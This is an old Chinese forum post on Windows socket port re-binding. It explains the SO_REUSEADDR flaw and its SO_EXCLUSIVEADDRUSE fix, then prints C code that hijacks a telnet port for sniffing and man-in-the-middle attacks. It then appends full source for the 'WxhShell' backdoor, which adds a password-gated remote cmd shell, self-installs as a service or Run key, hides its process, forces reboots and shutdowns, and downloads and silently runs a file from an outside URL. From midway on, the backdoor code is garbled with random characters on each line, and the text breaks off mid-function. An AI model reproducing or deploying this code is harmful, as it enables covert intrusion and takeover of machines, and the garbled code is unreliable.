[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; m6K}|j
if(chr[0]==0xd || chr[0]==0xa) { _LUhZlw
pwd=0; @R"JW\bd
break; gNrjo=
} UiP"Ixg6
i++; 6|%?tex
} \?ZB]*Fu
T|op$ s|
// 如果是非法用户，关闭 socket fS:&Ak ];
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y%aCMP9j~9
} PfD.:amN7
~i{(<.he
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c(E{6g?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v2\FA(BPn
)Y0!~# `
while(1) { G1tY)_-8[
Al^d$FaF
ZeroMemory(cmd,KEY_BUFF); A_ZY=jP
7\[@m3s
// 自动支持客户端 telnet标准 [z\$?VJspQ
j=0; EIAc@$4
while(j<KEY_BUFF) { ]t,BMu=%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "5!oi]@>(
cmd[j]=chr[0]; 9c'xHO`
if(chr[0]==0xa || chr[0]==0xd) { CL;}IBd a
cmd[j]=0; v`x.)S1
break; @4#c&h3
} A#<?4&
j++; .},'~NM]
} .bg~>T+<
@)M9IOR
// 下载文件 /NFj(+&g+
if(strstr(cmd,"http://")) { (@VMH !3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^|>PA:%
if(DownloadFile(cmd,wsh)) 0<@KG8@hI;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'ya{9EdlT
else B{#I:Rs9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vWv"
} $6 9&O
else { m,w A:o$'
]7BvvQ
switch(cmd[0]) { !hy-L_wL]
_Y4` xv0/
// 帮助 Y=I'czg
case '?': { Tv=mgH=b
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5H9z4-i x?
break; KYI/
} Eyqa?$R
// 安装 b\!_cb~"@
case 'i': { -3*]G^y2
if(Install()) P|E| $)m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1(R}tRR7R
else *OsQ}onv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,R\ \%
break; MKk\ u9
} xm~`7~nFR
// 卸载 |SSSH
case 'r': { : *#-%0
if(Uninstall()) /Cr%{'Pzk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lrE5^;/s1
else ML 9' |
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WE#^a6
break; ^uc=f2=>,
} iWkWR"ysy
// 显示 wxhshell 所在路径 u c)eil
case 'p': { Dx?,=~W9
char svExeFile[MAX_PATH]; u&vf+6=9Dd
strcpy(svExeFile,"\n\r"); =y*IfG9b
strcat(svExeFile,ExeFile); &r/Mi%
send(wsh,svExeFile,strlen(svExeFile),0); T?0eVvM
break; H%tdhu\e
} h;"4+uw
// 重启 :3Ox~o
case 'b': { M|h3Wt~7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @,+5y\]C
if(Boot(REBOOT)) 8TKnL\aar
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IEi^kJflU
else { ED gag
closesocket(wsh); mq.`X:e
ExitThread(0); 7n<{tM
} iYoMO["X
break; &p@O_0nF
} b8UO,fY q
// 关机 k4;7<j$ir
case 'd': { (L&d!$,Dv
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TD0 B%
if(Boot(SHUTDOWN)) 0{D'n@veP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J ZS:MFA
else { vk^xT
closesocket(wsh); ?fSG'\h>
ExitThread(0); 5t]H?b8
} q0vQa
break; Y:[u1~a
} >kVz49j
// 获取shell $U~]=.n
case 's': { ~f98#43
CmdShell(wsh); 8l`*]1.W<
closesocket(wsh); ON(kt3.h
ExitThread(0); ;e*!S}C,
break; " H\k`.j
} UaeXY+O
// 退出 "chDg(jMZ
case 'x': { + ePS14G
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S,he6zS
CloseIt(wsh); b\2 ds,
break; 9yP;@y*d
} b>ySv
// 离开 L!xi
case 'q': { NgPk&niM
send(wsh,msg_ws_end,strlen(msg_ws_end),0); gPPkT"
closesocket(wsh); &6VnySE?
WSACleanup(); -iZ`Y?
exit(1); ckCE1e>s
break; K}Qa~_
} 3JR+O<3D
} eaU
} f/?P514h
8quaXVj^a
// 提示信息 1'Dai`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G3T]`Atf
} xAm6BB c
} *vMn$,^0h9
#RLt^$!H
return; JBZ@'8eqi]
} dWBA1p
y@yD5$/
// shell模块句柄 *oix6
int CmdShell(SOCKET sock) )4;`^]F
{ H\[W/"
STARTUPINFO si; ^iYj[~
ZeroMemory(&si,sizeof(si)); COlaD"Y
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MolgwVd
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (/] J3
PROCESS_INFORMATION ProcessInfo; '|=;^Z7.K
char cmdline[]="cmd"; GC'O[q+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _q^E,P
return 0; *VN6cSq
} xgtR6E^k
%&bY]w
// 自身启动模式 *X}`PF
int StartFromService(void) OZ;*JR:
{ w4Z'K&d=
typedef struct poFg1
{ T51 `oZ`
DWORD ExitStatus; gQ.Sa j $
DWORD PebBaseAddress; +"VP-s0
DWORD AffinityMask; jc9y<{~x/
DWORD BasePriority; v &+R^iLE
ULONG UniqueProcessId; |Q>IrT
ULONG InheritedFromUniqueProcessId; 0m ? )ROaJ
} PROCESS_BASIC_INFORMATION; :M5l*sIO2
Z/J y'$x
PROCNTQSIP NtQueryInformationProcess; 3+bt~J0
[0e_*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HpnWoDM
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A5w6]:f2
bN@ l?w
HANDLE hProcess; YK~%xo
PROCESS_BASIC_INFORMATION pbi; ReeH@.74
;*&-C9b
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7xa>
if(NULL == hInst ) return 0; L8 @1THY
@\I#^X5lv
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~u+9J}
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X[TR3[1}
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G*v,GR
&jr3B;g!C
if (!NtQueryInformationProcess) return 0; 5*D/%]YsD
b>9>uC@J15
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WMP,\=6k0
if(!hProcess) return 0; \D&KC,i5f
]M'=^32
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N)>ID(}F1
wH6aAV~1
CloseHandle(hProcess); xAP+FWyV
H 7 ^/q7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z&^&K}
if(hProcess==NULL) return 0; 3{(/x1a,4
P L+sR3bR
HMODULE hMod; lB[kbJ
char procName[255]; Nl1Do:PY
unsigned long cbNeeded; Vs{|xG7WD
G9vpt M
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?Pc'C
pcI uN
CloseHandle(hProcess); xi;`ecqS<
EAby?51+
if(strstr(procName,"services")) return 1; // 以服务启动 eQvg7aO;
rk)`\=No
return 0; // 注册表启动 dcWD(-
} xA[mm
Q.c\/&
// 主模块 ROZF)|l
int StartWxhshell(LPSTR lpCmdLine) @!d{bQd,
{ *G9V'9
SOCKET wsl; efE.&]
BOOL val=TRUE; $]2vvr
int port=0; :S(ZzY Q
struct sockaddr_in door; 5.J.RE"M
01(AK%e
if(wscfg.ws_autoins) Install(); $a ` G
SOvF[,+
port=atoi(lpCmdLine); njA#@fU
L\z~uo3:
if(port<=0) port=wscfg.ws_port; YkQd
}f7j8py
WSADATA data; {+Cy U!O
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H~z`]5CN
X+]G-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .Rf_Cl
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DrK{}uM
door.sin_family = AF_INET; #@nezu2
door.sin_addr.s_addr = inet_addr("127.0.0.1"); LvYB7<zk>
door.sin_port = htons(port); ?p8_AL'RS
pIKPXqA
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t}tEvh
closesocket(wsl); `&6dnSC},P
return 1; K8Y=S12Ti
} 4)o
c<$OA=n
if(listen(wsl,2) == INVALID_SOCKET) { EI^C{$Y
closesocket(wsl); G[q$QB+
return 1; `%WU8Yv
} cD'V>[h
Wxhshell(wsl); fw{gx
WSACleanup(); <dhM\^[
c6]D-YNFG
return 0; hpL;bM'
ZLAy- 9^Y
} R@k&SlL'`
"kgdbAZ
// 以NT服务方式启动 [QT#Yf0
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TBU&6M>{3
{ ZbAcO/
DWORD status = 0; [Hh9a;.*}h
DWORD specificError = 0xfffffff; x0:m-C
e'b(gD}
serviceStatus.dwServiceType = SERVICE_WIN32; W-zP/]Dh
serviceStatus.dwCurrentState = SERVICE_START_PENDING; mF^v~
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _n>,!vH
serviceStatus.dwWin32ExitCode = 0; 0}quG^%_
serviceStatus.dwServiceSpecificExitCode = 0; aPbE;" f
serviceStatus.dwCheckPoint = 0; Q^txVUL
serviceStatus.dwWaitHint = 0; dL )<% o
l8#EM1g-
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]f9Cx\d:k
if (hServiceStatusHandle==0) return; `$aZ0+
zi`o#+
status = GetLastError(); ]+:^W^bs:
if (status!=NO_ERROR) (;^syJrh
{ J!U}iD@occ
serviceStatus.dwCurrentState = SERVICE_STOPPED; S\!ana])
serviceStatus.dwCheckPoint = 0; !H>R%g#28_
serviceStatus.dwWaitHint = 0; M?uC%x+S$_
serviceStatus.dwWin32ExitCode = status; xAMW-eF?d
serviceStatus.dwServiceSpecificExitCode = specificError; r<Kx0`y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _MX>#!l
return; .];=Pu^
} (n9gkO&8"
`~CQU
serviceStatus.dwCurrentState = SERVICE_RUNNING; q;>7*Y&
serviceStatus.dwCheckPoint = 0; 161xAig
serviceStatus.dwWaitHint = 0; +pn N!:q
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ><HE;cVg?
} B%+T2=&$7
/HRFAqep
// 处理NT服务事件，比如：启动、停止 yhA6i
VOID WINAPI NTServiceHandler(DWORD fdwControl) M%;hB*9
{ L.0mk_&
switch(fdwControl) ]G< Vg5
{ a]tVd#
case SERVICE_CONTROL_STOP: Px`!A EFd[
serviceStatus.dwWin32ExitCode = 0; A`o8'+`C
serviceStatus.dwCurrentState = SERVICE_STOPPED; PGV/ h
serviceStatus.dwCheckPoint = 0; qE3UO<FA
serviceStatus.dwWaitHint = 0; oJ|j#+Ft
{ SPmq4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); eb"5-0
} ZlzjVU/E
return; ptxbDzOz
case SERVICE_CONTROL_PAUSE: JKGe"
serviceStatus.dwCurrentState = SERVICE_PAUSED; Jd^,]
break; GKc`xIQ
case SERVICE_CONTROL_CONTINUE: % 0+j?>#X
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1gN=-AC
break; !LN?PKJ
case SERVICE_CONTROL_INTERROGATE: s'J:f$flS
break; g:Xhw$x9
}; :\7X}n*&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <.izVD4/Gg
} *QQzvhk
uurh??R
// 标准应用程序主函数 !6>~?gNd
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hm'=aff6A
{ \WB<86+z
!AfHk|
// 获取操作系统版本 3r."j2$Hs0
OsIsNt=GetOsVer(); mahJSz(3
GetModuleFileName(NULL,ExeFile,MAX_PATH); xx9 g''Q
$#pPZ
// 从命令行安装 KRMQtgahc
if(strpbrk(lpCmdLine,"iI")) Install(); OCaq3_#tZ
TOXfWEU3>
// 下载执行文件 e)#J1(j_
if(wscfg.ws_downexe) { c*L\_Vx+
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iq( E'`d
WinExec(wscfg.ws_filenam,SW_HIDE); EkNunCls
} NDlF0f
q]e`9/U
if(!OsIsNt) { O%KsD[W;
